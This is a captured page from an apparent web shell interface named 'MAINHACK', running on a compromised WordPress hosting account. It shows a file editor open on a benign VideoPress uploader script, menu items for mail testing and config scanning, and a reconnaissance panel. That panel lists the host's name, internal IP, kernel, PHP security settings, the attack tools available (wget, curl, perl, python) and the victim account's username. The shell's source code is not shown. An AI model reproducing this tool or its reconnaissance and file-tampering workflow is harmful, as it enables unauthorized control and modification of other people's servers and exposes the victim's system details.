[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: videopress-uploader.js
/* globals plupload, pluploadL10n, error */ window.wp = window.wp || {}; ( function ( wp ) { var VideoPress = { originalOptions: {}, /** * This is the standard uploader response handler. */ handleStandardResponse: function ( response, file ) { if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) { return error( pluploadL10n.default_error, null, file ); } else if ( ! response.success ) { return error( response.data && response.data.message, response.data, file ); } return response; }, /** * Handle response from the WPCOM Rest API. */ handleRestApiResponse: function ( response, file ) { if ( response.media.length !== 1 ) { return error( pluploadL10n.default_error, null, file ); } var media = response.media[ 0 ], mimeParts = media.mime_type.split( '/' ), data = { alt: '', author: media.author_ID || 0, authorName: '', caption: '', compat: { item: '', meta: '' }, date: media.date || '', dateFormatted: media.date || '', description: media.description || '', editLink: '', filename: media.file || '', filesizeHumanReadable: '', filesizeInBytes: '', height: media.height, icon: media.icon || '', id: media.ID || '', link: media.URL || '', menuOrder: 0, meta: false, mime: media.mime_type || '', modified: 0, name: '', nonces: { update: '', delete: '', edit: '' }, orientation: '', sizes: undefined, status: '', subtype: mimeParts[ 1 ] || '', title: media.title || '', type: mimeParts[ 0 ] || '', uploadedTo: 1, uploadedToLink: '', uploadedToTitle: '', url: media.URL || '', width: media.width, success: '', videopress: { guid: media.videopress_guid || null, processing_done: media.videopress_processing_done || false, }, }; response.data = data; return response; }, /** * Make sure that all of the original variables have been reset, so the uploader * doesn't try to go to VideoPress again next time. * * @param up */ resetToOriginalOptions: function ( up ) { if ( typeof VideoPress.originalOptions.url !== 'undefined' ) { up.setOption( 'url', VideoPress.originalOptions.url ); delete VideoPress.originalOptions.url; } if ( typeof VideoPress.originalOptions.multipart_params !== 'undefined' ) { up.setOption( 'multipart_params', VideoPress.originalOptions.multipart_params ); delete VideoPress.originalOptions.multipart_params; } if ( typeof VideoPress.originalOptions.file_data_name !== 'undefined' ) { up.setOption( 'file_data_name', VideoPress.originalOptions.file_data_name ); delete VideoPress.originalOptions.file_data_name; } }, }; if ( typeof wp.Uploader !== 'undefined' ) { var media = wp.media; /** * A plupload code specifically for videopress failures. * * @type {string} */ plupload.VIDEOPRESS_TOKEN_FAILURE = 'VP_TOKEN_FAILURE'; /** * Adds a filter that checks all files to see if they are videopress files and if they are * it will download extra metadata for them. */ plupload.addFileFilter( 'videopress_check_uploads', function ( maxSize, file, cb ) { var mimeParts = file.type.split( '/' ); var self = this; if ( mimeParts[ 0 ] === 'video' ) { media .ajax( 'videopress-get-upload-token', { async: false, data: { filename: file.name } } ) .done( function ( response ) { file.videopress = response; cb( true ); } ) .fail( function ( response ) { self.trigger( 'Error', { code: plupload.VIDEOPRESS_TOKEN_FAILURE, message: plupload.translate( 'Could not get the VideoPress token needed for uploading' ), file: file, response: response, } ); cb( false ); } ); } else { // Handles the normal max_file_size functionality. var undef; // Invalid file size if ( file.size !== undef && maxSize && file.size > maxSize ) { this.trigger( 'Error', { code: plupload.FILE_SIZE_ERROR, message: plupload.translate( 'File size error.' ), file: file, } ); cb( false ); } else { cb( true ); } } } ); } wp.VideoPress = VideoPress; } )( window.wp );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129